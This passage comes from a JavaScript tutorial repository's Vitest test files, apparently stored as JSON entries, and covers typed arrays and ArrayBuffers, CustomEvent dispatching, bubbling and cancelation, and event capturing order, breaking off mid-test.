METHODS\n  // From typed-arrays-arraybuffers.mdx lines ~480-530\n  // ============================================================\n\n  describe('Properties and Methods', () => {\n    describe('Properties', () => {\n      // From lines 485-500: Typed array properties\n      it('should have correct properties', () => {\n        const arr = new Int32Array([1, 2, 3, 4])\n\n        expect(arr.length).toBe(4)              // Number of elements\n        expect(arr.byteLength).toBe(16)         // Total bytes (4 elements × 4 bytes)\n        expect(arr.byteOffset).toBe(0)          // Offset into buffer\n        expect(arr.buffer).toBeInstanceOf(ArrayBuffer)\n        expect(Int32Array.BYTES_PER_ELEMENT).toBe(4)\n      })\n    })\n\n    describe('set() Method', () => {\n      // From lines 505-520: set() method\n      it('should copy values from another array', () => {\n        const target = new Uint8Array(10)\n        const source = new Uint8Array([1, 2, 3])\n\n        target.set(source)        // Copy to start\n        target.set(source, 5)     // Copy starting at index 5\n\n        expect([...target]).toEqual([1, 2, 3, 0, 0, 1, 2, 3, 0, 0])\n      })\n    })\n\n    describe('subarray() Method', () => {\n      // From lines 525-535: subarray() shares buffer\n      it('should create a view that shares the same buffer', () => {\n        const original = new Uint8Array([1, 2, 3, 4, 5])\n        const view = original.subarray(2, 4)\n\n        expect([...view]).toEqual([3, 4])\n\n        // Modifying the view affects the original\n        view[0] = 99\n        expect(original[2]).toBe(99)  // Original changed!\n      })\n    })\n  })\n\n  // ============================================================\n  // COMMON MISTAKES\n  // From typed-arrays-arraybuffers.mdx lines ~550-600\n  // ============================================================\n\n  describe('Common Mistakes', () => {\n    describe('subarray() vs slice()', () => {\n      // From lines 555-575: subarray vs slice\n      it('should demonstrate that subarray shares the buffer', () => {\n        const original = new Uint8Array([1, 2, 3, 4, 5])\n        const section = original.subarray(1, 4)\n\n        section[0] = 99\n        expect(original[1]).toBe(99)  // Original changed!\n      })\n\n      it('should demonstrate that slice creates an independent copy', () => {\n        const original = new Uint8Array([1, 2, 3, 4, 5])\n        const copy = original.slice(1, 4)\n\n        copy[0] = 99\n        expect(original[1]).toBe(2)  // Original unchanged\n      })\n    })\n\n    describe('Overflow Behavior', () => {\n      // From lines 580-600: Overflow wrapping\n      it('should wrap values that exceed range (Uint8Array)', () => {\n        const bytes = new Uint8Array([250])\n        bytes[0] += 10\n\n        expect(bytes[0]).toBe(4)  // 260 - 256 = 4 (wraps around)\n      })\n\n      it('should clamp values with Uint8ClampedArray', () => {\n        const clamped = new Uint8ClampedArray([250])\n        clamped[0] += 10\n\n        expect(clamped[0]).toBe(255)  // Clamped to max value\n      })\n\n      it('should clamp negative values to zero with Uint8ClampedArray', () => {\n        const clamped = new Uint8ClampedArray([10])\n        clamped[0] = -50\n\n        expect(clamped[0]).toBe(0)  // Clamped to min value\n      })\n\n      it('should demonstrate integer overflow in Uint8Array', () => {\n        const arr = new Uint8Array(1)\n        arr[0] = 300\n\n        expect(arr[0]).toBe(44)  // 300 % 256 = 44\n      })\n    })\n  })\n\n  // ============================================================\n  // CONVERTING TO REGULAR ARRAYS\n  // From typed-arrays-arraybuffers.mdx lines ~620-645\n  // ============================================================\n\n  describe('Converting to Regular Arrays', () => {\n    // From lines 625-640: Array.from and spread\n    it('should convert to regular array with Array.from', () => {\n      const typed = new Uint8Array([1, 2, 3, 4, 5])\n      const array = Array.from(typed)\n\n      expect(array).toEqual([1, 2, 3, 4, 5])\n      expect(Array.isArray(array)).toBe(true)\n    })\n\n    it('should convert to regular array with spread operator', () => {\n      const typed = new Uint8Array([1, 2, 3, 4, 5])\n      const array = [...typed]\n\n      expect(array).toEqual([1, 2, 3, 4, 5])\n      expect(Array.isArray(array)).toBe(true)\n    })\n\n    it('should convert regular array back to typed array', () => {\n      const array = [1, 2, 3, 4, 5]\n      const typed = new Uint8Array(array)\n\n      expect(typed).toBeInstanceOf(Uint8Array)\n      expect([...typed]).toEqual([1, 2, 3, 4, 5])\n    })\n  })\n\n  // ============================================================\n  // TYPED ARRAY TYPES\n  // From typed-arrays-arraybuffers.mdx lines ~100-120\n  // ============================================================\n\n  describe('Typed Array Types', () => {\n    it('should create Int8Array with correct range', () => {\n      const arr = new Int8Array([127, -128, 200])\n\n      expect(arr[0]).toBe(127)\n      expect(arr[1]).toBe(-128)\n      expect(arr[2]).toBe(-56)  // 200 wraps to -56 in signed 8-bit\n    })\n\n    it('should create Int16Array with correct range', () => {\n      const arr = new Int16Array([32767, -32768])\n\n      expect(arr[0]).toBe(32767)\n      expect(arr[1]).toBe(-32768)\n    })\n\n    it('should create Int32Array with correct range', () => {\n      const arr = new Int32Array([2147483647, -2147483648])\n\n      expect(arr[0]).toBe(2147483647)\n      expect(arr[1]).toBe(-2147483648)\n    })\n\n    it('should create Float32Array with floating point values', () => {\n      const arr = new Float32Array([3.14, -2.5, 1000.5])\n\n      expect(arr[0]).toBeCloseTo(3.14, 2)\n      expect(arr[1]).toBeCloseTo(-2.5, 2)\n      expect(arr[2]).toBeCloseTo(1000.5, 2)\n    })\n\n    it('should create Float64Array with high precision floating point', () => {\n      const arr = new Float64Array([3.141592653589793])\n\n      expect(arr[0]).toBe(3.141592653589793)\n    })\n\n    it('should create BigInt64Array with BigInt values', () => {\n      const arr = new BigInt64Array([BigInt('9007199254740993')])\n\n      expect(arr[0]).toBe(9007199254740993n)\n    })\n\n    it('should create BigUint64Array with unsigned BigInt values', () => {\n      const arr = new BigUint64Array([BigInt('18446744073709551615')])\n\n      expect(arr[0]).toBe(18446744073709551615n)\n    })\n  })\n\n  // ============================================================\n  // BYTES_PER_ELEMENT\n  // ============================================================\n\n  describe('BYTES_PER_ELEMENT', () => {\n    it('should report correct bytes per element for each type', () => {\n      expect(Int8Array.BYTES_PER_ELEMENT).toBe(1)\n      expect(Uint8Array.BYTES_PER_ELEMENT).toBe(1)\n      expect(Uint8ClampedArray.BYTES_PER_ELEMENT).toBe(1)\n      expect(Int16Array.BYTES_PER_ELEMENT).toBe(2)\n      expect(Uint16Array.BYTES_PER_ELEMENT).toBe(2)\n      expect(Int32Array.BYTES_PER_ELEMENT).toBe(4)\n      expect(Uint32Array.BYTES_PER_ELEMENT).toBe(4)\n      expect(Float32Array.BYTES_PER_ELEMENT).toBe(4)\n      expect(Float64Array.BYTES_PER_ELEMENT).toBe(8)\n      expect(BigInt64Array.BYTES_PER_ELEMENT).toBe(8)\n      expect(BigUint64Array.BYTES_PER_ELEMENT).toBe(8)\n    })\n  })\n\n  // ============================================================\n  // FIXED LENGTH BEHAVIOR\n  // ============================================================\n\n  describe('Fixed Length Behavior', () => {\n    it('should not allow push, pop, or splice on typed arrays', () => {\n      const arr = new Uint8Array([1, 2, 3])\n\n      expect(arr.push).toBe(undefined)\n      expect(arr.pop).toBe(undefined)\n      expect(arr.splice).toBe(undefined)\n      expect(arr.shift).toBe(undefined)\n      expect(arr.unshift).toBe(undefined)\n    })\n\n    it('should not change length when setting out-of-bounds index', () => {\n      const arr = new Uint8Array(3)\n      arr[10] = 42  // Attempting to write beyond length\n\n      expect(arr.length).toBe(3)  // Length unchanged\n      expect(arr[10]).toBe(undefined)  // Value not stored\n    })\n  })\n\n  // ============================================================\n  // ARRAYBUFFER ISVIEW\n  // ============================================================\n\n  describe('ArrayBuffer.isView', () => {\n    it('should return true for typed arrays', () => {\n      expect(ArrayBuffer.isView(new Uint8Array(4))).toBe(true)\n      expect(ArrayBuffer.isView(new Int32Array(4))).toBe(true)\n      expect(ArrayBuffer.isView(new Float64Array(4))).toBe(true)\n    })\n\n    it('should return true for DataView', () => {\n      const buffer = new ArrayBuffer(8)\n      const view = new DataView(buffer)\n\n      expect(ArrayBuffer.isView(view)).toBe(true)\n    })\n\n    it('should return false for ArrayBuffer itself', () => {\n      const buffer = new ArrayBuffer(8)\n\n      expect(ArrayBuffer.isView(buffer)).toBe(false)\n    })\n\n    it('should return false for regular arrays', () => {\n      expect(ArrayBuffer.isView([1, 2, 3])).toBe(false)\n    })\n  })\n\n  // ============================================================\n  // BUFFER ACCESS\n  // ============================================================\n\n  describe('Buffer Access', () => {\n    it('should access underlying buffer from typed array', () => {\n      const uint8 = new Uint8Array([1, 2, 3, 4])\n      const buffer = uint8.buffer\n\n      expect(buffer).toBeInstanceOf(ArrayBuffer)\n      expect(buffer.byteLength).toBe(4)\n\n      // Create another view on the same buffer\n      const uint32 = new Uint32Array(buffer)\n      expect(uint32.length).toBe(1)\n    })\n  })\n\n  // ============================================================\n  // CONCATENATION PATTERN\n  // ============================================================\n\n  describe('Concatenating Typed Arrays', () => {\n    it('should concatenate typed arrays manually', () => {\n      const arr1 = new Uint8Array([1, 2, 3])\n      const arr2 = new Uint8Array([4, 5, 6])\n\n      // Create new array with combined length\n      const combined = new Uint8Array(arr1.length + arr2.length)\n      combined.set(arr1, 0)\n      combined.set(arr2, arr1.length)\n\n      expect([...combined]).toEqual([1, 2, 3, 4, 5, 6])\n    })\n  })\n\n  // ============================================================\n  // ENDIANNESS\n  // ============================================================\n\n  describe('Endianness', () => {\n    it('should demonstrate little-endian byte order in typed arrays', () => {\n      const buffer = new ArrayBuffer(4)\n      const uint32 = new Uint32Array(buffer)\n      const uint8 = new Uint8Array(buffer)\n\n      uint32[0] = 0x01020304\n\n      // Little-endian: least significant byte first\n      expect(uint8[0]).toBe(0x04)  // Least significant byte\n      expect(uint8[1]).toBe(0x03)\n      expect(uint8[2]).toBe(0x02)\n      expect(uint8[3]).toBe(0x01)  // Most significant byte\n    })\n\n    it('should allow explicit endianness control with DataView', () => {\n      const buffer = new ArrayBuffer(4)\n      const view = new DataView(buffer)\n\n      // Write big-endian (false = big-endian)\n      view.setUint32(0, 0x01020304, false)\n      const uint8 = new Uint8Array(buffer)\n\n      // Big-endian: most significant byte first\n      expect(uint8[0]).toBe(0x01)  // Most significant byte\n      expect(uint8[1]).toBe(0x02)\n      expect(uint8[2]).toBe(0x03)\n      expect(uint8[3]).toBe(0x04)  // Least significant byte\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/events/custom-events/custom-events.dom.test.js",
    "content": "/**\n * @vitest-environment jsdom\n */\n\nimport { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'\n\n/**\n * DOM-specific tests for Custom Events concept page\n * Source: /docs/beyond/concepts/custom-events.mdx\n * \n * These tests require jsdom for DOM element interactions\n */\n\ndescribe('Custom Events (DOM)', () => {\n  let element\n  let parent\n  let child\n\n  beforeEach(() => {\n    // Create fresh DOM elements for each test\n    element = document.createElement('div')\n    element.id = 'testElement'\n    document.body.appendChild(element)\n\n    parent = document.createElement('div')\n    parent.id = 'parent'\n    child = document.createElement('button')\n    child.id = 'child'\n    parent.appendChild(child)\n    document.body.appendChild(parent)\n  })\n\n  afterEach(() => {\n    // Clean up DOM\n    document.body.innerHTML = ''\n  })\n\n  describe('Dispatching Events', () => {\n    // MDX lines ~170-185: The dispatchEvent() Method\n    it('should dispatch custom events on elements', () => {\n      const handler = vi.fn()\n      element.addEventListener('customClick', handler)\n\n      const event = new CustomEvent('customClick', {\n        detail: { clickCount: 5 }\n      })\n      element.dispatchEvent(event)\n\n      expect(handler).toHaveBeenCalledTimes(1)\n      expect(handler.mock.calls[0][0].detail.clickCount).toBe(5)\n    })\n\n    // MDX lines ~190-210: Dispatching on Different Targets\n    it('should dispatch events on document', () => {\n      const handler = vi.fn()\n      document.addEventListener('globalEvent', handler)\n\n      document.dispatchEvent(new CustomEvent('globalEvent', {\n        detail: { message: 'hello' }\n      }))\n\n      expect(handler).toHaveBeenCalledTimes(1)\n      expect(handler.mock.calls[0][0].detail.message).toBe('hello')\n\n      // Cleanup\n      document.removeEventListener('globalEvent', handler)\n    })\n\n    it('should dispatch events on window', () => {\n      const handler = vi.fn()\n      window.addEventListener('windowEvent', handler)\n\n      window.dispatchEvent(new CustomEvent('windowEvent', {\n        detail: { source: 'window' }\n      }))\n\n      expect(handler).toHaveBeenCalledTimes(1)\n\n      // Cleanup\n      window.removeEventListener('windowEvent', handler)\n    })\n\n    // MDX lines ~235-255: Important: dispatchEvent is Synchronous\n    it('should execute event handlers synchronously', () => {\n      const order = []\n\n      order.push('1: Before dispatch')\n\n      element.addEventListener('myEvent', () => {\n        order.push('2: Inside listener')\n      })\n\n      element.dispatchEvent(new CustomEvent('myEvent'))\n\n      order.push('3: After dispatch')\n\n      expect(order).toEqual([\n        '1: Before dispatch',\n        '2: Inside listener',\n        '3: After dispatch'\n      ])\n    })\n  })\n\n  describe('Listening for Custom Events', () => {\n    // MDX lines ~265-285: Use addEventListener\n    it('should receive events via addEventListener', () => {\n      const handler = vi.fn()\n      element.addEventListener('myCustomEvent', handler)\n\n      const event = new CustomEvent('myCustomEvent', {\n        detail: { value: 'test' }\n      })\n      element.dispatchEvent(event)\n\n      expect(handler).toHaveBeenCalledTimes(1)\n      expect(handler.mock.calls[0][0].detail.value).toBe('test')\n    })\n\n    it('should support multiple listeners for the same event', () => {\n      const handler1 = vi.fn()\n      const handler2 = vi.fn()\n\n      element.addEventListener('myCustomEvent', handler1)\n      element.addEventListener('myCustomEvent', handler2)\n\n      element.dispatchEvent(new CustomEvent('myCustomEvent'))\n\n      expect(handler1).toHaveBeenCalledTimes(1)\n      expect(handler2).toHaveBeenCalledTimes(1)\n    })\n\n    it('should allow removing listeners', () => {\n      const handler = vi.fn()\n\n      element.addEventListener('myCustomEvent', handler)\n      element.dispatchEvent(new CustomEvent('myCustomEvent'))\n      expect(handler).toHaveBeenCalledTimes(1)\n\n      element.removeEventListener('myCustomEvent', handler)\n      element.dispatchEvent(new CustomEvent('myCustomEvent'))\n      expect(handler).toHaveBeenCalledTimes(1) // Still 1, not called again\n    })\n\n    // MDX lines ~290-300: Don't use on* properties\n    it('should NOT work with on* properties for custom events', () => {\n      const handler = vi.fn()\n\n      // This doesn't work - custom events don't have on* properties\n      element.onmyCustomEvent = handler\n\n      element.dispatchEvent(new CustomEvent('myCustomEvent'))\n\n      // Handler was never called because onmyCustomEvent isn't a real property\n      expect(handler).not.toHaveBeenCalled()\n    })\n  })\n\n  describe('Event Bubbling with Custom Events', () => {\n    // MDX lines ~305-340: Bubbling Example\n    it('should NOT bubble by default', () => {\n      const parentHandler = vi.fn()\n      parent.addEventListener('customClick', parentHandler)\n\n      // Dispatch WITHOUT bubbles\n      child.dispatchEvent(new CustomEvent('customClick', {\n        detail: { message: 'no bubbles' }\n      }))\n\n      // Parent should NOT hear it\n      expect(parentHandler).not.toHaveBeenCalled()\n    })\n\n    it('should bubble when bubbles: true', () => {\n      const parentHandler = vi.fn()\n      parent.addEventListener('customClick', parentHandler)\n\n      // Dispatch WITH bubbles\n      child.dispatchEvent(new CustomEvent('customClick', {\n        detail: { message: 'with bubbles' },\n        bubbles: true\n      }))\n\n      // Parent SHOULD hear it\n      expect(parentHandler).toHaveBeenCalledTimes(1)\n      expect(parentHandler.mock.calls[0][0].detail.message).toBe('with bubbles')\n    })\n\n    it('should set correct target and currentTarget during bubbling', () => {\n      let capturedTarget = null\n      let capturedCurrentTarget = null\n\n      parent.addEventListener('test', (e) => {\n        capturedTarget = e.target\n        capturedCurrentTarget = e.currentTarget\n      })\n\n      child.dispatchEvent(new CustomEvent('test', { bubbles: true }))\n\n      expect(capturedTarget).toBe(child) // Original dispatcher\n      expect(capturedCurrentTarget).toBe(parent) // Element handling the event\n    })\n\n    // MDX Question 2: Will the parent hear this event?\n    it('Question 2: parent should NOT hear non-bubbling event', () => {\n      const parentHandler = vi.fn()\n      parent.addEventListener('notify', parentHandler)\n\n      child.dispatchEvent(new CustomEvent('notify', {\n        detail: { message: 'hello' }\n      }))\n\n      expect(parentHandler).not.toHaveBeenCalled()\n    })\n  })\n\n  describe('Canceling Custom Events', () => {\n    // MDX lines ~350-390: Canceling Custom Events\n    it('should return true when event is not canceled', () => {\n      element.addEventListener('action', () => {\n        // Don't call preventDefault\n      })\n\n      const event = new CustomEvent('action', { cancelable: true })\n      const result = element.dispatchEvent(event)\n\n      expect(result).toBe(true)\n    })\n\n    it('should return false when preventDefault is called', () => {\n      element.addEventListener('action', (e) => {\n        e.preventDefault()\n      })\n\n      const event = new CustomEvent('action', { cancelable: true })\n      const result = element.dispatchEvent(event)\n\n      expect(result).toBe(false)\n    })\n\n    it('should ignore preventDefault when cancelable is false', () => {\n      element.addEventListener('action', (e) => {\n        e.preventDefault()\n      })\n\n      // Without cancelable: true\n      const event = new CustomEvent('action')\n      const result = element.dispatchEvent(event)\n\n      // Returns true even though preventDefault was called\n      expect(result).toBe(true)\n    })\n\n    // MDX Question 3: What does dispatchEvent return here?\n    it('Question 3: dispatchEvent returns false when canceled', () => {\n      const event = new CustomEvent('action', { cancelable: true })\n\n      element.addEventListener('action', (e) => {\n        e.preventDefault()\n      })\n\n      const result = element.dispatchEvent(event)\n      expect(result).toBe(false)\n    })\n\n    it('should allow checking defaultPrevented property', () => {\n      element.addEventListener('test', (e) => {\n        e.preventDefault()\n      })\n\n      const event = new CustomEvent('test', { cancelable: true })\n      element.dispatchEvent(event)\n\n      expect(event.defaultPrevented).toBe(true)\n    })\n  })\n\n  describe('Component Communication Pattern', () => {\n    // MDX lines ~400-450: Shopping Cart Example\n    it('should enable decoupled component communication', () => {\n      // Simulate ShoppingCart class\n      const cartElement = document.createElement('div')\n      cartElement.id = 'shopping-cart'\n      document.body.appendChild(cartElement)\n\n      const items = []\n      \n      function addItem(item) {\n        items.push(item)\n        cartElement.dispatchEvent(new CustomEvent('cart:itemAdded', {\n          detail: { item, totalItems: items.length },\n          bubbles: true\n        }))\n      }\n\n      // Simulate CartBadge listener\n      const badgeUpdates = []\n      document.addEventListener('cart:itemAdded', (e) => {\n        badgeUpdates.push(e.detail.totalItems)\n      })\n\n      // Add items\n      addItem({ id: 1, name: 'Apple' })\n      addItem({ id: 2, name: 'Banana' })\n\n      expect(badgeUpdates).toEqual([1, 2])\n    })\n  })\n\n  describe('Common Mistakes', () => {\n    // MDX Common Mistakes section\n    it('Mistake 1: forgetting bubbles: true', () => {\n      const parentHandler = vi.fn()\n      parent.addEventListener('notify', parentHandler)\n\n      // Without bubbles - parent won't hear it\n      child.dispatchEvent(new CustomEvent('notify', {\n        detail: { message: 'hello' }\n      }))\n\n      expect(parentHandler).not.toHaveBeenCalled()\n\n      // With bubbles - parent will hear it\n      child.dispatchEvent(new CustomEvent('notify', {\n        detail: { message: 'hello' },\n        bubbles: true\n      }))\n\n      expect(parentHandler).toHaveBeenCalledTimes(1)\n    })\n\n    // MDX Question 4: Why doesn't this work?\n    it('Question 4: on* properties do not work for custom events', () => {\n      const handler = vi.fn()\n\n      // This doesn't work\n      element.oncustomEvent = handler\n      element.dispatchEvent(new CustomEvent('customEvent'))\n\n      expect(handler).not.toHaveBeenCalled()\n\n      // This works\n      element.addEventListener('customEvent', handler)\n      element.dispatchEvent(new CustomEvent('customEvent'))\n\n      expect(handler).toHaveBeenCalledTimes(1)\n    })\n\n    it('Mistake 3: dispatching on wrong element', () => {\n      const sidebar = document.createElement('div')\n      sidebar.id = 'sidebar'\n      const header = document.createElement('div')\n      header.id = 'header'\n      document.body.appendChild(sidebar)\n      document.body.appendChild(header)\n\n      const sidebarHandler = vi.fn()\n      sidebar.addEventListener('update', sidebarHandler)\n\n      // Dispatching on header - sidebar won't hear it\n      header.dispatchEvent(new CustomEvent('update'))\n\n      expect(sidebarHandler).not.toHaveBeenCalled()\n\n      // Dispatch on document for global events\n      const globalHandler = vi.fn()\n      document.addEventListener('update', globalHandler)\n      document.dispatchEvent(new CustomEvent('update'))\n\n      expect(globalHandler).toHaveBeenCalledTimes(1)\n\n      // Cleanup\n      document.removeEventListener('update', globalHandler)\n    })\n\n    it('Mistake 4: forgetting cancelable: true', () => {\n      element.addEventListener('submit', e => e.preventDefault())\n\n      // Without cancelable - returns true even with preventDefault\n      const eventWithoutCancelable = new CustomEvent('submit')\n      const result1 = element.dispatchEvent(eventWithoutCancelable)\n      expect(result1).toBe(true)\n\n      // With cancelable - returns false when preventDefault is called\n      const eventWithCancelable = new CustomEvent('submit', { cancelable: true })\n      const result2 = element.dispatchEvent(eventWithCancelable)\n      expect(result2).toBe(false)\n    })\n\n    // MDX Question 5: synchronous execution\n    it('Question 5: dispatchEvent is synchronous', () => {\n      let value = 'before'\n\n      element.addEventListener('sync', () => {\n        value = 'inside'\n      })\n\n      element.dispatchEvent(new CustomEvent('sync'))\n\n      // Value is 'inside' immediately - not 'before'!\n      expect(value).toBe('inside')\n    })\n  })\n\n  describe('Opening Example', () => {\n    // MDX lines ~10-20: Opening code example\n    it('should demonstrate userLoggedIn custom event', () => {\n      const messages = []\n\n      // Listen for the event\n      document.addEventListener('userLoggedIn', (e) => {\n        messages.push(`Welcome, ${e.detail.username}!`)\n      })\n\n      // Create and dispatch the event\n      const event = new CustomEvent('userLoggedIn', {\n        detail: { username: 'alice', timestamp: Date.now() }\n      })\n      document.dispatchEvent(event)\n\n      expect(messages).toEqual(['Welcome, alice!'])\n\n      // Cleanup\n      document.removeEventListener('userLoggedIn', () => {})\n    })\n  })\n\n  describe('Real-world Patterns', () => {\n    it('should support namespaced event names', () => {\n      const events = []\n\n      document.addEventListener('cart:updated', (e) => events.push('cart:updated'))\n      document.addEventListener('modal:opened', (e) => events.push('modal:opened'))\n      document.addEventListener('user:loggedIn', (e) => events.push('user:loggedIn'))\n\n      document.dispatchEvent(new CustomEvent('cart:updated'))\n      document.dispatchEvent(new CustomEvent('modal:opened'))\n      document.dispatchEvent(new CustomEvent('user:loggedIn'))\n\n      expect(events).toEqual(['cart:updated', 'modal:opened', 'user:loggedIn'])\n    })\n\n    it('should work with delegation pattern', () => {\n      const list = document.createElement('ul')\n      const item1 = document.createElement('li')\n      const item2 = document.createElement('li')\n      list.appendChild(item1)\n      list.appendChild(item2)\n      document.body.appendChild(list)\n\n      const selectedItems = []\n\n      // Single listener on parent using delegation\n      list.addEventListener('item:selected', (e) => {\n        selectedItems.push(e.detail.itemId)\n      })\n\n      // Dispatch from children with bubbles\n      item1.dispatchEvent(new CustomEvent('item:selected', {\n        detail: { itemId: 1 },\n        bubbles: true\n      }))\n\n      item2.dispatchEvent(new CustomEvent('item:selected', {\n        detail: { itemId: 2 },\n        bubbles: true\n      }))\n\n      expect(selectedItems).toEqual([1, 2])\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/events/custom-events/custom-events.test.js",
    "content": "import { describe, it, expect, vi } from 'vitest'\n\n/**\n * Tests for Custom Events concept page\n * Source: /docs/beyond/concepts/custom-events.mdx\n */\n\ndescribe('Custom Events', () => {\n  describe('Creating Custom Events', () => {\n    // MDX lines ~70-90: The CustomEvent Constructor\n    it('should create a simple custom event with just a name', () => {\n      const event = new CustomEvent('hello')\n      \n      expect(event.type).toBe('hello')\n      expect(event.detail).toBe(null)\n      expect(event.bubbles).toBe(false)\n      expect(event.cancelable).toBe(false)\n    })\n\n    it('should create a custom event with detail data', () => {\n      const event = new CustomEvent('userAction', {\n        detail: { action: 'click', target: 'button' }\n      })\n      \n      expect(event.type).toBe('userAction')\n      expect(event.detail.action).toBe('click')\n      expect(event.detail.target).toBe('button')\n    })\n\n    it('should create a custom event with all options', () => {\n      const event = new CustomEvent('formSubmit', {\n        detail: { formId: 'login', data: { user: 'alice' } },\n        bubbles: true,\n        cancelable: true\n      })\n      \n      expect(event.type).toBe('formSubmit')\n      expect(event.detail.formId).toBe('login')\n      expect(event.detail.data.user).toBe('alice')\n      expect(event.bubbles).toBe(true)\n      expect(event.cancelable).toBe(true)\n    })\n\n    // MDX lines ~95-105: Event Options Explained\n    it('should have correct default options', () => {\n      const event = new CustomEvent('test')\n      \n      expect(event.detail).toBe(null)\n      expect(event.bubbles).toBe(false)\n      expect(event.cancelable).toBe(false)\n      expect(event.composed).toBe(false)\n    })\n  })\n\n  describe('Passing Data with detail', () => {\n    // MDX lines ~115-140: detail property examples\n    it('should accept primitive values in detail', () => {\n      const numberEvent = new CustomEvent('count', { detail: 42 })\n      const stringEvent = new CustomEvent('message', { detail: 'Hello!' })\n      \n      expect(numberEvent.detail).toBe(42)\n      expect(stringEvent.detail).toBe('Hello!')\n    })\n\n    it('should accept objects in detail', () => {\n      const timestamp = Date.now()\n      const event = new CustomEvent('userLoggedIn', {\n        detail: {\n          userId: 123,\n          username: 'alice',\n          timestamp\n        }\n      })\n      \n      expect(event.detail.userId).toBe(123)\n      expect(event.detail.username).toBe('alice')\n      expect(event.detail.timestamp).toBe(timestamp)\n    })\n\n    it('should accept arrays in detail', () => {\n      const event = new CustomEvent('itemsSelected', {\n        detail: ['item1', 'item2', 'item3']\n      })\n      \n      expect(event.detail).toEqual(['item1', 'item2', 'item3'])\n      expect(event.detail.length).toBe(3)\n    })\n\n    it('should accept functions in detail', () => {\n      const getText = () => 'Hello World'\n      const event = new CustomEvent('callback', {\n        detail: { getText }\n      })\n      \n      expect(typeof event.detail.getText).toBe('function')\n      expect(event.detail.getText()).toBe('Hello World')\n    })\n\n    // MDX lines ~145-160: Accessing detail in listeners\n    it('should provide read-only detail property (reference)', () => {\n      const originalDetail = { username: 'alice', userId: 123 }\n      const event = new CustomEvent('test', { detail: originalDetail })\n      \n      // detail property itself is read-only (can't reassign)\n      // but the object reference is the same, so mutations affect it\n      expect(event.detail.username).toBe('alice')\n      \n      // Mutating the object works (though not recommended)\n      event.detail.username = 'bob'\n      expect(event.detail.username).toBe('bob')\n    })\n  })\n\n  describe('Custom Events vs Native Events', () => {\n    // MDX lines ~295-310: The isTrusted Property\n    it('should have isTrusted set to false for custom events', () => {\n      const event = new CustomEvent('customClick')\n      \n      expect(event.isTrusted).toBe(false)\n    })\n\n    it('should inherit from Event', () => {\n      const event = new CustomEvent('test', { detail: { value: 1 } })\n      \n      expect(event instanceof Event).toBe(true)\n      expect(event instanceof CustomEvent).toBe(true)\n    })\n  })\n\n  describe('Test Your Knowledge Examples', () => {\n    // MDX Question 1\n    it('Question 1: should show detail.value and isTrusted', () => {\n      const event = new CustomEvent('test', {\n        detail: { value: 42 }\n      })\n      \n      expect(event.detail.value).toBe(42)\n      expect(event.isTrusted).toBe(false)\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/events/event-bubbling-capturing/event-bubbling-capturing.dom.test.js",
    "content": "/**\n * @vitest-environment jsdom\n */\nimport { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'\n\n// ============================================================\n// EVENT BUBBLING & CAPTURING TESTS\n// From event-bubbling-capturing.mdx\n// ============================================================\n\ndescribe('Event Bubbling & Capturing', () => {\n  let container\n\n  beforeEach(() => {\n    container = document.createElement('div')\n    container.id = 'test-container'\n    document.body.appendChild(container)\n  })\n\n  afterEach(() => {\n    document.body.innerHTML = ''\n    vi.restoreAllMocks()\n  })\n\n  // ============================================================\n  // EVENT BUBBLING IN ACTION\n  // From lines ~95-120\n  // ============================================================\n\n  describe('Event Bubbling in Action', () => {\n    // From lines ~95-115: Nested element click bubbling\n    it('should bubble events from child to parent to grandparent', () => {\n      // Setup HTML structure\n      const grandparent = document.createElement('div')\n      grandparent.className = 'grandparent'\n      \n      const parent = document.createElement('div')\n      parent.className = 'parent'\n      \n      const child = document.createElement('button')\n      child.className = 'child'\n      child.textContent = 'Click me'\n      \n      parent.appendChild(child)\n      grandparent.appendChild(parent)\n      container.appendChild(grandparent)\n\n      // Track order of handler calls\n      const output = []\n\n      grandparent.addEventListener('click', () => {\n        output.push('Grandparent clicked')\n      })\n\n      parent.addEventListener('click', () => {\n        output.push('Parent clicked')\n      })\n\n      child.addEventListener('click', () => {\n        output.push('Child clicked')\n      })\n\n      // Click the child button\n      child.click()\n\n      // Events bubble from child → parent → grandparent\n      expect(output).toEqual([\n        'Child clicked',\n        'Parent clicked',\n        'Grandparent clicked'\n      ])\n    })\n\n    // From lines ~120-140: Event delegation pattern\n    it('should enable event delegation via bubbling', () => {\n      const buttonContainer = document.createElement('div')\n      buttonContainer.className = 'button-container'\n      \n      const btn1 = document.createElement('button')\n      btn1.className = 'btn'\n      btn1.textContent = 'Button 1'\n      \n      const btn2 = document.createElement('button')\n      btn2.className = 'btn'\n      btn2.textContent = 'Button 2'\n      \n      buttonContainer.appendChild(btn1)\n      buttonContainer.appendChild(btn2)\n      container.appendChild(buttonContainer)\n\n      const clicks = []\n\n      // Single listener on parent (event delegation)\n      buttonContainer.addEventListener('click', (e) => {\n        if (e.target.matches('.btn')) {\n          clicks.push(e.target.textContent)\n        }\n      })\n\n      btn1.click()\n      btn2.click()\n\n      expect(clicks).toEqual(['Button 1', 'Button 2'])\n    })\n  })\n\n  // ============================================================\n  // LISTENING DURING CAPTURING PHASE\n  // From lines ~145-185\n  // ============================================================\n\n  describe('Listening During Capturing Phase', () => {\n    // From lines ~170-185: Capture vs bubble order\n    it('should fire capturing handlers before bubbling handlers', () => {\n      const parent = document.createElement('div')\n      parent.className = 'parent'\n      \n      const child = document.createElement('button')\n      child.className = 'child'\n      \n      parent.appendChild(child)\n      container.appendChild(parent)\n\n      const output = []\n\n      // Capturing handler (fires first, on way down)\n      parent.addEventListener('click', () => {\n        output.push('Parent - capturing')\n      }, true)\n\n      // Target handler\n      child.addEventListener('click', () => {\n        output.push('Child - target')\n      })\n\n      // Bubbling handler (fires last, on way up)\n      parent.addEventListener('click', () => {\n        output.push('Parent - bubbling')\n      })\n\n      child.click()\n\n      expect(output).toEqual([\n        'Parent - capturing',\n        'Child - target',\n        'Parent - bubbling'\n      ])\n    })\n\n    // From lines ~155-160: Different ways to specify capture\n    it('should accept different capture option formats', () => {\n      const element = document.createElement('div')\n      container.appendChild(element)\n      \n      const handlers = []\n      \n      // All these are equivalent for capture: true\n      const handler1 = () => handlers.push(1)\n      const handler2 = () => handlers.push(2)\n      \n      element.addEventListener('click', handler1, true)\n      element.addEventListener('click', handler2, { capture: true })\n      \n      element.click()\n      \n      // Both handlers should fire\n      expect(handlers).toContain(1)\n      